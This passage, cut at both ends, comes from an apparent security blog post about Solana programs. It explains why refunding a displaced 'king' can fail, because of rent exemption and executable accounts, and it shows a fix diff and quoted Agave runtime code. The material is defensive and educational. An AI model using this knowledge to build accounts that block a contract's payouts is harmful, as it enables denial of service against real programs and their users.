post_data_size",{"type":25,"tag":216,"props":76773,"children":76774},{"style":6947},[76775],{"type":31,"value":7226},{"type":25,"tag":216,"props":76777,"children":76778},{"style":6941},[76779],{"type":31,"value":76714},{"type":25,"tag":216,"props":76781,"children":76782},{"style":6947},[76783],{"type":31,"value":18136},{"type":25,"tag":216,"props":76785,"children":76786},{"style":6941},[76787],{"type":31,"value":76598},{"type":25,"tag":216,"props":76789,"children":76790},{"style":6947},[76791],{"type":31,"value":12143},{"type":25,"tag":216,"props":76793,"children":76794},{"style":6941},[76795],{"type":31,"value":76796}," pre_lamports\n",{"type":25,"tag":216,"props":76798,"children":76799},{"class":6916,"line":7607},[76800],{"type":25,"tag":216,"props":76801,"children":76802},{"style":6958},[76803],{"type":31,"value":75027},{"type":25,"tag":216,"props":76805,"children":76806},{"class":6916,"line":7630},[76807],{"type":25,"tag":216,"props":76808,"children":76809},{"style":6958},[76810],{"type":31,"value":75035},{"type":25,"tag":216,"props":76812,"children":76813},{"class":6916,"line":7639},[76814],{"type":25,"tag":216,"props":76815,"children":76816},{"style":6958},[76817],{"type":31,"value":62846},{"type":25,"tag":216,"props":76819,"children":76820},{"class":6916,"line":7648},[76821],{"type":25,"tag":216,"props":76822,"children":76823},{"style":6958},[76824],{"type":31,"value":7296},{"type":25,"tag":216,"props":76826,"children":76827},{"class":6916,"line":7716},[76828],{"type":25,"tag":216,"props":76829,"children":76830},{"style":6958},[76831],{"type":31,"value":7305},{"type":25,"tag":38,"props":76833,"children":76834},{},[76835],{"type":31,"value":76836},"You can check the rent-exemption threshold for a zero-data account with the CLI:",{"type":25,"tag":206,"props":76838,"children":76840},{"className":8185,"code":76839,"language":8184,"meta":7,"style":7},"solana rent 0\nRent-exempt minimum: 0.00089088 SOL\n",[76841],{"type":25,"tag":82,"props":76842,"children":76843},{"__ignoreMap":7},[76844,76860],{"type":25,"tag":216,"props":76845,"children":76846},{"class":6916,"line":6917},[76847,76851,76856],{"type":25,"tag":216,"props":76848,"children":76849},{"style":7041},[76850],{"type":31,"value":6809},{"type":25,"tag":216,"props":76852,"children":76853},{"style":8199},[76854],{"type":31,"value":76855}," rent",{"type":25,"tag":216,"props":76857,"children":76858},{"style":6983},[76859],{"type":31,"value":28230},{"type":25,"tag":216,"props":76861,"children":76862},{"class":6916,"line":6763},[76863,76868,76873,76878],{"type":25,"tag":216,"props":76864,"children":76865},{"style":7041},[76866],{"type":31,"value":76867},"Rent-exempt",{"type":25,"tag":216,"props":76869,"children":76870},{"style":8199},[76871],{"type":31,"value":76872}," minimum:",{"type":25,"tag":216,"props":76874,"children":76875},{"style":6983},[76876],{"type":31,"value":76877}," 0.00089088",{"type":25,"tag":216,"props":76879,"children":76880},{"style":8199},[76881],{"type":31,"value":76882}," SOL\n",{"type":25,"tag":631,"props":76884,"children":76886},{"id":76885},"fix-1-only-reimburse-if-rent-exempt",[76887],{"type":31,"value":76888},"Fix 1: Only Reimburse if Rent-Exempt",{"type":25,"tag":38,"props":76890,"children":76891},{},[76892],{"type":31,"value":76893},"We don't want to donate anything to an unfair king! So let's update our program to reimburse only if the old king will be rent-exempt after the transfer:",{"type":25,"tag":206,"props":76895,"children":76897},{"className":44318,"code":76896,"language":44320,"meta":7,"style":7},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n+let rent = Rent::get()?;\n+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n    transfer_from_pda(\n        &ctx.accounts.throne.to_account_info(),\n        &ctx.accounts.old_king,\n        to_reimburse,\n    )?;\n+}\n",[76898],{"type":25,"tag":82,"props":76899,"children":76900},{"__ignoreMap":7},[76901,76909,76917,76925,76933,76941,76949,76957,76965,76973],{"type":25,"tag":216,"props":76902,"children":76903},{"class":6916,"line":6917},[76904],{"type":25,"tag":216,"props":76905,"children":76906},{"style":6958},[76907],{"type":31,"value":76908},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n",{"type":25,"tag":216,"props":76910,"children":76911},{"class":6916,"line":6763},[76912],{"type":25,"tag":216,"props":76913,"children":76914},{"style":6983},[76915],{"type":31,"value":76916},"+let rent = Rent::get()?;\n",{"type":25,"tag":216,"props":76918,"children":76919},{"class":6916,"line":6772},[76920],{"type":25,"tag":216,"props":76921,"children":76922},{"style":6983},[76923],{"type":31,"value":76924},"+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n",{"type":25,"tag":216,"props":76926,"children":76927},{"class":6916,"line":6999},[76928],{"type":25,"tag":216,"props":76929,"children":76930},{"style":6983},[76931],{"type":31,"value":76932},"+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n",{"type":25,"tag":216,"props":76934,"children":76935},{"class":6916,"line":7104},[76936],{"type":25,"tag":216,"props":76937,"children":76938},{"style":6958},[76939],{"type":31,"value":76940},"    transfer_from_pda(\n",{"type":25,"tag":216,"props":76942,"children":76943},{"class":6916,"line":7210},[76944],{"type":25,"tag":216,"props":76945,"children":76946},{"style":6958},[76947],{"type":31,"value":76948},"        &ctx.accounts.throne.to_account_info(),\n",{"type":25,"tag":216,"props":76950,"children":76951},{"class":6916,"line":7238},[76952],{"type":25,"tag":216,"props":76953,"children":76954},{"style":6958},[76955],{"type":31,"value":76956},"        &ctx.accounts.old_king,\n",{"type":25,"tag":216,"props":76958,"children":76959},{"class":6916,"line":7251},[76960],{"type":25,"tag":216,"props":76961,"children":76962},{"style":6958},[76963],{"type":31,"value":76964},"        to_reimburse,\n",{"type":25,"tag":216,"props":76966,"children":76967},{"class":6916,"line":7269},[76968],{"type":25,"tag":216,"props":76969,"children":76970},{"style":6958},[76971],{"type":31,"value":76972},"    )?;\n",{"type":25,"tag":216,"props":76974,"children":76975},{"class":6916,"line":7290},[76976],{"type":25,"tag":216,"props":76977,"children":76978},{"style":6983},[76979],{"type":31,"value":76980},"+}\n",{"type":25,"tag":38,"props":76982,"children":76983},{},[76984],{"type":31,"value":76985},"But is rent-exemption the only thing that can cause a lamport transfer to fail? Not quite.",{"type":25,"tag":607,"props":76987,"children":76989},{"id":76988},"bug-2-writable-but-untouchable-set_lamports-fails",[76990,76992,76998],{"type":31,"value":76991},"Bug 2: Writable but Untouchable — ",{"type":25,"tag":82,"props":76993,"children":76995},{"className":76994},[],[76996],{"type":31,"value":76997},"set_lamports",{"type":31,"value":76999}," Fails",{"type":25,"tag":38,"props":77001,"children":77002},{},[77003,77005,77012],{"type":31,"value":77004},"Let's look at ",{"type":25,"tag":162,"props":77006,"children":77009},{"href":77007,"rel":77008},"https://github.com/anza-xyz/agave/blob/f389dd23067e37d756c3f9d2f3d50e339dad7053/transaction-context/src/lib.rs#L863-L885",[166],[77010],{"type":31,"value":77011},"BorrowedAccount::set_lamports",{"type":31,"value":179},{"type":25,"tag":206,"props":77014,"children":77016},{"className":6909,"code":77015,"language":6908,"meta":7,"style":7},"/// Overwrites the number of lamports of this account (transaction wide)\n#[cfg(not(target_os = \"solana\"))]\npub fn set_lamports(&mut self, lamports: u64) -> Result\u003C(), InstructionError> {\n    // An account not owned by the program cannot have its balance decrease\n    if !self.is_owned_by_current_program() && lamports \u003C self.get_lamports() {\n        return Err(InstructionError::ExternalAccountLamportSpend);\n    }\n    // The balance of read-only may not change\n    if !self.is_writable() {\n        return Err(InstructionError::ReadonlyLamportChange);\n    }\n    // The balance of executable accounts may not change\n    if self.is_executable_internal() {\n        return Err(InstructionError::ExecutableLamportChange);\n    }\n    // don't touch the account if the lamports do not change\n    if self.get_lamports() == lamports {\n        return Ok(());\n    }\n    self.touch()?;\n    self.account.set_lamports(lamports);\n    Ok(())\n}\n\n/// Feature gating to remove `is_executable` flag related checks\n#[cfg(not(target_os = \"solana\"))]\n#[inline]\nfn is_executable_internal(&self) -> bool {\n    !self\n        .transaction_context\n        .remove_accounts_executable_flag_checks\n        && self.account.executable()\n}\n\n",[77017],{"type":25,"tag":82,"props":77018,"children":77019},{"__ignoreMap":7},[77020,77028,77049,77121,77129,77188,77220,77227,77235,77263,77295,77302,77310,77334,77366,77373,77381,77416,77432,77439,77467,77502,77513,77520,77527,77535,77554,77562,77602,77614,77626,77638,77669],{"type":25,"tag":216,"props":77021,"children":77022},{"class":6916,"line":6917},[77023],{"type":25,"tag":216,"props":77024,"children":77025},{"style":6921},[77026],{"type":31,"value":77027},"/// Overwrites the number of lamports of this account (transaction wide)\n",{"type":25,"tag":216,"props":77029,"children":77030},{"class":6916,"line":6763},[77031,77036,77040,77045],{"type":25,"tag":216,"props":77032,"children":77033},{"style":6958},[77034],{"type":31,"value":77035},"#[cfg(not(target_os ",{"type":25,"tag":216,"props":77037,"children":77038},{"style":6947},[77039],{"type":31,"value":266},{"type":25,"tag":216,"props":77041,"children":77042},{"style":8199},[77043],{"type":31,"value":77044}," \"solana\"",{"type":25,"tag":216,"props":77046,"children":77047},{"style":6958},[77048],{"type":31,"value":24562},{"type":25,"tag":216,"props":77050,"children":77051},{"class":6916,"line":6772},[77052,77056,77060,77065,77069,77073,77077,77081,77085,77089,77093,77097,77101,77105,77109,77113,77117],{"type":25,"tag":216,"props":77053,"children":77054},{"style":6930},[77055],{"type":31,"value":17641},{"type":25,"tag":216,"props":77057,"children":77058},{"style":6930},[77059],{"type":31,"value":17646},{"type":25,"tag":216,"props":77061,"children":77062},{"style":7041},[77063],{"type":31,"value":77064}," set_lamports",{"type":25,"tag":216,"props":77066,"children":77067},{"style":6958},[77068],{"type":31,"value":1844},{"type":25,"tag":216,"props":77070,"children":77071},{"style":6947},[77072],{"type":31,"value":7053},{"type":25,"tag":216,"props":77074,"children":77075},{"style":6930},[77076],{"type":31,"value":7685},{"type":25,"tag":216,"props":77078,"children":77079},{"style":6930},[77080],{"type":31,"value":17748},{"type":25,"tag":216,"props":77082,"children":77083},{"style":6958},[77084],{"type":31,"value":7020},{"type":25,"tag":216,"props":77086,"children":77087},{"style":6941},[77088],{"type":31,"value":19463},{"type":25,"tag":216,"props":77090,"children":77091},{"style":6947},[77092],{"type":31,"value":1466},{"type":25,"tag":216,"props":77094,"children":77095},{"style":7369},[77096],{"type":31,"value":9805},{"type":25,"tag":216,"props":77098,"children":77099},{"style":6958},[77100],{"type":31,"value":7030},{"type":25,"tag":216,"props":77102,"children":77103},{"style":6947},[77104],{"type":31,"value":17708},{"type":25,"tag":216,"props":77106,"children":77107},{"style":7369},[77108],{"type":31,"value":17713},{"type":25,"tag":216,"props":77110,"children":77111},{"style":6958},[77112],{"type":31,"value":17718},{"type":25,"tag":216,"props":77114,"children":77115},{"style":7369},[77116],{"type":31,"value":19710},{"type":25,"tag":216,"props":77118,"children":77119},{"style":6958},[77120],{"type":31,"value":11227},{"type":25,"tag":216,"props":77122,"children":77123},{"class":6916,"line":6999},[77124],{"type":25,"tag":216,"props":77125,"children":77126},{"style":6921},[77127],{"type":31,"value":77128},"    // An account not owned by the program cannot have its balance decrease\n",{"type":25,"tag":216,"props":77130,"children":77131},{"class":6916,"line":7104},[77132,77136,77140,77144,77148,77153,77157,77162,77167,77171,77175,77179,77184],{"type":25,"tag":216,"props":77133,"children":77134},{"style":6967},[77135],{"type":31,"value":16229},{"type":25,"tag":216,"props":77137,"children":77138},{"style":6947},[77139],{"type":31,"value":16814},{"type":25,"tag":216,"props":77141,"children":77142},{"style":6930},[77143],{"type":31,"value":17664},{"type":25,"tag":216,"props":77145,"children":77146},{"style":6947},[77147],{"type":31,"value":179},{"type":25,"tag":216,"props":77149,"children":77150},{"style":7041},[77151],{"type":31,"value":77152},"is_owned_by_current_program",{"type":25,"tag":216,"props":77154,"children":77155},{"style":6958},[77156],{"type":31,"value":17994},{"type":25,"tag":216,"props":77158,"children":77159},{"style":6947},[77160],{"type":31,"value":77161},"&&",{"type":25,"tag":216,"props":77163,"children":77164},{"style":6941},[77165],{"type":31,"value":77166}," lamports",{"type":25,"tag":216,"props":77168,"children":77169},{"style":6947},[77170],{"type":31,"value":12666},{"type":25,"tag":216,"props":77172,"children":77173},{"style":6930},[77174],{"type":31,"value":17748},{"type":25,"tag":216,"props":77176,"children":77177},{"style":6947},[77178],{"type":31,"value":179},{"type":25,"tag":216,"props":77180,"children":77181},{"style":7041},[77182],{"type":31,"value":77183},"get_lamports",{"type":25,"tag":216,"props":77185,"children":77186},{"style":6958},[77187],{"type":31,"value":19688},{"type":25,"tag":216,"props":77189,"children":77190},{"class":6916,"line":7210},[77191,77195,77199,77203,77207,77211,77216],{"type":25,"tag":216,"props":77192,"children":77193},{"style":6967},[77194],{"type":31,"value":19696},{"type":25,"tag":216,"props":77196,"children":77197},{"style":7369},[77198],{"type":31,"value":19701},{"type":25,"tag":216,"props":77200,"children":77201},{"style":6958},[77202],{"type":31,"value":1844},{"type":25,"tag":216,"props":77204,"children":77205},{"style":7369},[77206],{"type":31,"value":19710},{"type":25,"tag":216,"props":77208,"children":77209},{"style":6947},[77210],{"type":31,"value":7432},{"type":25,"tag":216,"props":77212,"children":77213},{"style":7369},[77214],{"type":31,"value":77215},"ExternalAccountLamportSpend",{"type":25,"tag":216,"props":77217,"children":77218},{"style":6958},[77219],{"type":31,"value":7791},{"type":25,"tag":216,"props":77221,"children":77222},{"class":6916,"line":7238},[77223],{"type":25,"tag":216,"props":77224,"children":77225},{"style":6958},[77226],{"type":31,"value":7305},{"type":25,"tag":216,"props":77228,"children":77229},{"class":6916,"line":7251},[77230],{"type":25,"tag":216,"props":77231,"children":77232},{"style":6921},[77233],{"type":31,"value":77234},"    // The balance of read-only may not change\n",{"type":25,"tag":216,"props":77236,"children":77237},{"class":6916,"line":7269},[77238,77242,77246,77250,77254,77259],{"type":25,"tag":216,"props":77239,"children":77240},{"style":6967},[77241],{"type":31,"value":16229},{"type":25,"tag":216,"props":77243,"children":77244},{"style":6947},[77245],{"type":31,"value":16814},{"type":25,"tag":216,"props":77247,"children":77248},{"style":6930},[77249],{"type":31,"value":17664},{"type":25,"tag":216,"props":77251,"children":77252},{"style":6947},[77253],{"type":31,"value":179},{"type":25,"tag":216,"props":77255,"children":77256},{"style":7041},[77257],{"type":31,"value":77258},"is_writable",{"type":25,"tag":216,"props":77260,"children":77261},{"style":6958},[77262],{"type":31,"value":19688},{"type":25,"tag":216,"props":77264,"children":77265},{"class":6916,"line":7290},[77266,77270,77274,77278,77282,77286,77291],{"type":25,"tag":216,"props":77267,"children":77268},{"style":6967},[77269],{"type":31,"value":19696},{"type":25,"tag":216,"props":77271,"children":77272},{"style":7369},[77273],{"type":31,"value":19701},{"type":25,"tag":216,"props":77275,"children":77276},{"style":6958},[77277],{"type":31,"value":1844},{"type":25,"tag":216,"props":77279,"children":77280},{"style":7369},[77281],{"type":31,"value":19710},{"type":25,"tag":216,"props":77283,"children":77284},{"style":6947},[77285],{"type":31,"value":7432},{"type":25,"tag":216,"props":77287,"children":77288},{"style":7369},[77289],{"type":31,"value":77290},"ReadonlyLamportChange",{"type":25,"tag":216,"props":77292,"children":77293},{"style":6958},[77294],{"type":31,"value":7791},{"type":25,"tag":216,"props":77296,"children":77297},{"class":6916,"line":7299},[77298],{"type":25,"tag":216,"props":77299,"children":77300},{"style":6958},[77301],{"type":31,"value":7305},{"type":25,"tag":216,"props":77303,"children":77304},{"class":6916,"line":7551},[77305],{"type":25,"tag":216,"props":77306,"children":77307},{"style":6921},[77308],{"type":31,"value":77309},"    // The balance of executable accounts may not change\n",{"type":25,"tag":216,"props":77311,"children":77312},{"class":6916,"line":7568},[77313,77317,77321,77325,77330],{"type":25,"tag":216,"props":77314,"children":77315},{"style":6967},[77316],{"type":31,"value":16229},{"type":25,"tag":216,"props":77318,"children":77319},{"style":6930},[77320],{"type":31,"value":17748},{"type":25,"tag":216,"props":77322,"children":77323},{"style":6947},[77324],{"type":31,"value":179},{"type":25,"tag":216,"props":77326,"children":77327},{"style":7041},[77328],{"type":31,"value":77329},"is_executable_internal",{"type":25,"tag":216,"props":77331,"children":77332},{"style":6958},[77333],{"type":31,"value":19688},{"type":25,"tag":216,"props":77335,"children":77336},{"class":6916,"line":7585},[77337,77341,77345,77349,77353,77357,77362],{"type":25,"tag":216,"props":77338,"children":77339},{"style":6967},[77340],{"type":31,"value":19696},{"type":25,"tag":216,"props":77342,"children":77343},{"style":7369},[77344],{"type":31,"value":19701},{"type":25,"tag":216,"props":77346,"children":77347},{"style":6958},[77348],{"type":31,"value":1844},{"type":25,"tag":216,"props":77350,"children":77351},{"style":7369},[77352],{"type":31,"value":19710},{"type":25,"tag":216,"props":77354,"children":77355},{"style":6947},[77356],{"type":31,"value":7432},{"type":25,"tag":216,"props":77358,"children":77359},{"style":7369},[77360],{"type":31,"value":77361},"ExecutableLamportChange",{"type":25,"tag":216,"props":77363,"children":77364},{"style":6958},[77365],{"type":31,"value":7791},{"type":25,"tag":216,"props":77367,"children":77368},{"class":6916,"line":7598},[77369],{"type":25,"tag":216,"props":77370,"children":77371},{"style":6958},[77372],{"type":31,"value":7305},{"type":25,"tag":216,"props":77374,"children":77375},{"class":6916,"line":7607},[77376],{"type":25,"tag":216,"props":77377,"children":77378},{"style":6921},[77379],{"type":31,"value":77380},"    // don't touch the account if the lamports do not change\n",{"type":25,"tag":216,"props":77382,"children":77383},{"class":6916,"line":7630},[77384,77388,77392,77396,77400,77404,77408,77412],{"type":25,"tag":216,"props":77385,"children":77386},{"style":6967},[77387],{"type":31,"value":16229},{"type":25,"tag":216,"props":77389,"children":77390},{"style":6930},[77391],{"type":31,"value":17748},{"type":25,"tag":216,"props":77393,"children":77394},{"style":6947},[77395],{"type":31,"value":179},{"type":25,"tag":216,"props":77397,"children":77398},{"style":7041},[77399],{"type":31,"value":77183},{"type":25,"tag":216,"props":77401,"children":77402},{"style":6958},[77403],{"type":31,"value":17994},{"type":25,"tag":216,"props":77405,"children":77406},{"style":6947},[77407],{"type":31,"value":12522},{"type":25,"tag":216,"props":77409,"children":77410},{"style":6941},[77411],{"type":31,"value":77166},{"type":25,"tag":216,"props":77413,"children":77414},{"style":6958},[77415],{"type":31,"value":7235},{"type":25,"tag":216,"props":77417,"children":77418},{"class":6916,"line":7639},[77419,77423,77427],{"type":25,"tag":216,"props":77420,"children":77421},{"style":6967},[77422],{"type":31,"value":19696},{"type":25,"tag":216,"props":77424,"children":77425},{"style":7369},[77426],{"type":31,"value":46896},{"type":25,"tag":216,"props":77428,"children":77429},{"style":6958},[77430],{"type":31,"value":77431},"(());\n",{"type":25,"tag":216,"props":77433,"children":77434},{"class":6916,"line":7648},[77435],{"type":25,"tag":216,"props":77436,"children":77437},{"style":6958},[77438],{"type":31,"value":7305},{"type":25,"tag":216,"props":77440,"children":77441},{"class":6916,"line":7716},[77442,77446,77450,77455,77459,77463],{"type":25,"tag":216,"props":77443,"children":77444},{"style":6930},[77445],{"type":31,"value":24740},{"type":25,"tag":216,"props":77447,"children":77448},{"style":6947},[77449],{"type":31,"value":179},{"type":25,"tag":216,"props":77451,"children":77452},{"style":7041},[77453],{"type":31,"value":77454},"touch",{"type":25,"tag":216,"props":77456,"children":77457},{"style":6958},[77458],{"type":31,"value":17830},{"type":25,"tag":216,"props":77460,"children":77461},{"style":6947},[77462],{"type":31,"value":605},{"type":25,"tag":216,"props":77464,"children":77465},{"style":6958},[77466],{"type":31,"value":6961},{"type":25,"tag":216,"props":77468,"children":77469},{"class":6916,"line":7724},[77470,77474,77478,77482,77486,77490,77494,77498],{"type":25,"tag":216,"props":77471,"children":77472},{"style":6930},[77473],{"type":31,"value":24740},{"type":25,"tag":216,"props":77475,"children":77476},{"style":6947},[77477],{"type":31,"value":179},{"type":25,"tag":216,"props":77479,"children":77480},{"style":6958},[77481],{"type":31,"value":16903},{"type":25,"tag":216,"props":77483,"children":77484},{"style":6947},[77485],{"type":31,"value":179},{"type":25,"tag":216,"props":77487,"children":77488},{"style":7041},[77489],{"type":31,"value":76997},{"type":25,"tag":216,"props":77491,"children":77492},{"style":6958},[77493],{"type":31,"value":1844},{"type":25,"tag":216,"props":77495,"children":77496},{"style":6941},[77497],{"type":31,"value":19463},{"type":25,"tag":216,"props":77499,"children":77500},{"style":6958},[77501],{"type":31,"value":7791},{"type":25,"tag":216,"props":77503,"children":77504},{"class":6916,"line":7754},[77505,77509],{"type":25,"tag":216,"props":77506,"children":77507},{"style":7369},[77508],{"type":31,"value":18284},{"type":25,"tag":216,"props":77510,"children":77511},{"style":6958},[77512],{"type":31,"value":18289},{"type":25,"tag":216,"props":77514,"children":77515},{"class":6916,"line":7762},[77516],{"type":25,"tag":216,"props":77517,"children":77518},{"style":6958},[77519],{"type":31,"value":7868},{"type":25,"tag":216,"props":77521,"children":77522},{"class":6916,"line":7794},[77523],{"type":25,"tag":216,"props":77524,"children":77525},{"emptyLinePlaceholder":16},[77526],{"type":31,"value":7636},{"type":25,"tag":216,"props":77528,"children":77529},{"class":6916,"line":7802},[77530],{"type":25,"tag":216,"props":77531,"children":77532},{"style":6921},[77533],{"type":31,"value":77534},"/// Feature gating to remove `is_executable` flag related checks\n",{"type":25,"tag":216,"props":77536,"children":77537},{"class":6916,"line":7862},[77538,77542,77546,77550],{"type":25,"tag":216,"props":77539,"children":77540},{"style":6958},[77541],{"type":31,"value":77035},{"type":25,"tag":216,"props":77543,"children":77544},{"style":6947},[77545],{"type":31,"value":266},{"type":25,"tag":216,"props":77547,"children":77548},{"style":8199},[77549],{"type":31,"value":77044},{"type":25,"tag":216,"props":77551,"children":77552},{"style":6958},[77553],{"type":31,"value":24562},{"type":25,"tag":216,"props":77555,"children":77556},{"class":6916,"line":12995},[77557],{"type":25,"tag":216,"props":77558,"children":77559},{"style":6958},[77560],{"type":31,"value":77561},"#[inline]\n",{"type":25,"tag":216,"props":77563,"children":77564},{"class":6916,"line":13013},[77565,77569,77574,77578,77582,77586,77590,77594,77598],{"type":25,"tag":216,"props":77566,"children":77567},{"style":6930},[77568],{"type":31,"value":24220},{"type":25,"tag":216,"props":77570,"children":77571},{"style":7041},[77572],{"type":31,"value":77573}," is_executable_internal",{"type":25,"tag":216,"props":77575,"children":77576},{"style":6958},[77577],{"type":31,"value":1844},{"type":25,"tag":216,"props":77579,"children":77580},{"style":6947},[77581],{"type":31,"value":7053},{"type":25,"tag":216,"props":77583,"children":77584},{"style":6930},[77585],{"type":31,"value":17664},{"type":25,"tag":216,"props":77587,"children":77588},{"style":6958},[77589],{"type":31,"value":7030},{"type":25,"tag":216,"props":77591,"children":77592},{"style":6947},[77593],{"type":31,"value":17708},{"type":25,"tag":216,"props":77595,"children":77596},{"style":7369},[77597],{"type":31,"value":16000},{"type":25,"tag":216,"props":77599,"children":77600},{"style":6958},[77601],{"type":31,"value":7235},{"type":25,"tag":216,"props":77603,"children":77604},{"class":6916,"line":13058},[77605,77609],{"type":25,"tag":216,"props":77606,"children":77607},{"style":6947},[77608],{"type":31,"value":24924},{"type":25,"tag":216,"props":77610,"children":77611},{"style":6930},[77612],{"type":31,"value":77613},"self\n",{"type":25,"tag":216,"props":77615,"children":77616},{"class":6916,"line":13164},[77617,77621],{"type":25,"tag":216,"props":77618,"children":77619},{"style":6947},[77620],{"type":31,"value":72223},{"type":25,"tag":216,"props":77622,"children":77623},{"style":6958},[77624],{"type":31,"value":77625},"transaction_context\n",{"type":25,"tag":216,"props":77627,"children":77628},{"class":6916,"line":27449},[77629,77633],{"type":25,"tag":216,"props":77630,"children":77631},{"style":6947},[77632],{"type":31,"value":72223},{"type":25,"tag":216,"props":77634,"children":77635},{"style":6958},[77636],{"type":31,"value":77637},"remove_accounts_executable_flag_checks\n",{"type":25,"tag":216,"props":77639,"children":77640},{"class":6916,"line":27484},[77641,77645,77649,77653,77657,77661,77665],{"type":25,"tag":216,"props":77642,"children":77643},{"style":6947},[77644],{"type":31,"value":46760},{"type":25,"tag":216,"props":77646,"children":77647},{"style":6930},[77648],{"type":31,"value":17748},{"type":25,"tag":216,"props":77650,"children":77651},{"style":6947},[77652],{"type":31,"value":179},{"type":25,"tag":216,"props":77654,"children":77655},{"style":6958},[77656],{"type":31,"value":16903},{"type":25,"tag":216,"props":77658,"children":77659},{"style":6947},[77660],{"type":31,"value":179},{"type":25,"tag":216,"props":77662,"children":77663},{"style":7041},[77664],{"type":31,"value":19607},{"type":25,"tag":216,"props":77666,"children":77667},{"style":6958},[77668],{"type":31,"value":11681},{"type":25,"tag":216,"props":77670,"children":77671},{"class":6916,"line":27492},[77672],{"type":25,"tag":216,"props":77673,"children":77674},{"style":6958},[77675],{"type":31,"value":7868},{"type":25,"tag":38,"props":77677,"children":77678},{},[77679],{"type":31,"value":77680},"Turns out: even writable, rent-exempt accounts can still reject lamport transfers.",{"type":25,"tag":38,"props":77682,"children":77683},{},[77684,77686,77691],{"type":31,"value":77685},"Specifically, ",{"type":25,"tag":9267,"props":77687,"children":77688},{},[77689],{"type":31,"value":77690},"executable accounts",{"type":31,"value":77692}," cannot receive or send lamports — the runtime treats them as immutable.",{"type":25,"tag":631,"props":77694,"children":77696},{"id":77695},"sidebar-whats-the-executable-flag-anyway",[77697],{"type":31,"value":77698},"Sidebar: What's the executable Flag Anyway?",{"type":25,"tag":38,"props":77700,"children":77701},{},[77702,77703,77708],{"type":31,"value":474},{"type":25,"tag":82,"props":77704,"children":77706},{"className":77705},[],[77707],{"type":31,"value":19607},{"type":31,"value":77709}," flag is a legacy mechanism marking accounts that hold program code. Historically, an account with this flag was assumed to either contain immutable BPF bytecode or was a proxy to a built-in program, and therefore it made sense to consider it read-only for performance reasons.",{"type":25,"tag":38,"props":77711,"children":77712},{},[77713,77715,77720],{"type":31,"value":77714},"This behavior became problematic with the introduction of the ",{"type":25,"tag":9267,"props":77716,"children":77717},{},[77718],{"type":31,"value":77719},"Upgradeable BPF Loader",{"type":31,"value":77721},". A workaround was used to maintain compatibility with the existing runtime logic. The program data containing bpf bytecode was split into a separate account, ProgramData, with the program account now only containing an address pointing to the ProgramData account:",{"type":25,"tag":206,"props":77723,"children":77725},{"className":6909,"code":77724,"language":6908,"meta":7,"style":7},"Program {\n    /// Address of the ProgramData account.\n    programdata_address: Pubkey,\n},\nProgramData {\n    /// Slot that the program was last modified.\n    slot: u64,\n    /// Address of the Program's upgrade authority.\n    upgrade_authority_address: Option\u003CPubkey>,\n    // The raw program data follows this serialized structure in the\n    // account's data.\n},\n",[77726],{"type":25,"tag":82,"props":77727,"children":77728},{"__ignoreMap":7},[77729,77741,77749,77769,77777,77789,77797,77817,77825,77853,77861,77869],{"type":25,"tag":216,"props":77730,"children":77731},{"class":6916,"line":6917},[77732,77737],{"type":25,"tag":216,"props":77733,"children":77734},{"style":7369},[77735],{"type":31,"value":77736},"Program",{"type":25,"tag":216,"props":77738,"children":77739},{"style":6958},[77740],{"type":31,"value":7235},{"type":25,"tag":216,"props":77742,"children":77743},{"class":6916,"line":6763},[77744],{"type":25,"tag":216,"props":77745,"children":77746},{"style":6921},[77747],{"type":31,"value":77748},"    /// Address of the ProgramData account.\n",{"type":25,"tag":216,"props":77750,"children":77751},{"class":6916,"line":6772},[77752,77757,77761,77765],{"type":25,"tag":216,"props":77753,"children":77754},{"style":6941},[77755],{"type":31,"value":77756},"    programdata_address",{"type":25,"tag":216,"props":77758,"children":77759},{"style":6947},[77760],{"type":31,"value":1466},{"type":25,"tag":216,"props":77762,"children":77763},{"style":7369},[77764],{"type":31,"value":24811},{"type":25,"tag":216,"props":77766,"children":77767},{"style":6958},[77768],{"type":31,"value":7459},{"type":25,"tag":216,"props":77770,"children":77771},{"class":6916,"line":6999},[77772],{"type":25,"tag":216,"props":77773,"children":77774},{"style":6958},[77775],{"type":31,"value":77776},"},\n",{"type":25,"tag":216,"props":77778,"children":77779},{"class":6916,"line":7104},[77780,77785],{"type":25,"tag":216,"props":77781,"children":77782},{"style":7369},[77783],{"type":31,"value":77784},"ProgramData",{"type":25,"tag":216,"props":77786,"children":77787},{"style":6958},[77788],{"type":31,"value":7235},{"type":25,"tag":216,"props":77790,"children":77791},{"class":6916,"line":7210},[77792],{"type":25,"tag":216,"props":77793,"children":77794},{"style":6921},[77795],{"type":31,"value":77796},"    /// Slot that the program was last modified.\n",{"type":25,"tag":216,"props":77798,"children":77799},{"class":6916,"line":7238},[77800,77805,77809,77813],{"type":25,"tag":216,"props":77801,"children":77802},{"style":6941},[77803],{"type":31,"value":77804},"    slot",{"type":25,"tag":216,"props":77806,"children":77807},{"style":6947},[77808],{"type":31,"value":1466},{"type":25,"tag":216,"props":77810,"children":77811},{"style":7369},[77812],{"type":31,"value":9805},{"type":25,"tag":216,"props":77814,"children":77815},{"style":6958},[77816],{"type":31,"value":7459},{"type":25,"tag":216,"props":77818,"children":77819},{"class":6916,"line":7251},[77820],{"type":25,"tag":216,"props":77821,"children":77822},{"style":6921},[77823],{"type":31,"value":77824},"    /// Address of the Program's upgrade authority.\n",{"type":25,"tag":216,"props":77826,"children":77827},{"class":6916,"line":7269},[77828,77833,77837,77841,77845,77849],{"type":25,"tag":216,"props":77829,"children":77830},{"style":6941},[77831],{"type":31,"value":77832},"    upgrade_authority_address",{"type":25,"tag":216,"props":77834,"children":77835},{"style":6947},[77836],{"type":31,"value":1466},{"type":25,"tag":216,"props":77838,"children":77839},{"style":7369},[77840],{"type":31,"value":31598},{"type":25,"tag":216,"props":77842,"children":77843},{"style":6958},[77844],{"type":31,"value":9751},{"type":25,"tag":216,"props":77846,"children":77847},{"style":7369},[77848],{"type":31,"value":25352},{"type":25,"tag":216,"props":77850,"children":77851},{"style":6958},[77852],{"type":31,"value":10083},{"type":25,"tag":216,"props":77854,"children":77855},{"class":6916,"line":7290},[77856],{"type":25,"tag":216,"props":77857,"children":77858},{"style":6921},[77859],{"type":31,"value":77860},"    // The raw program data follows this serialized structure in 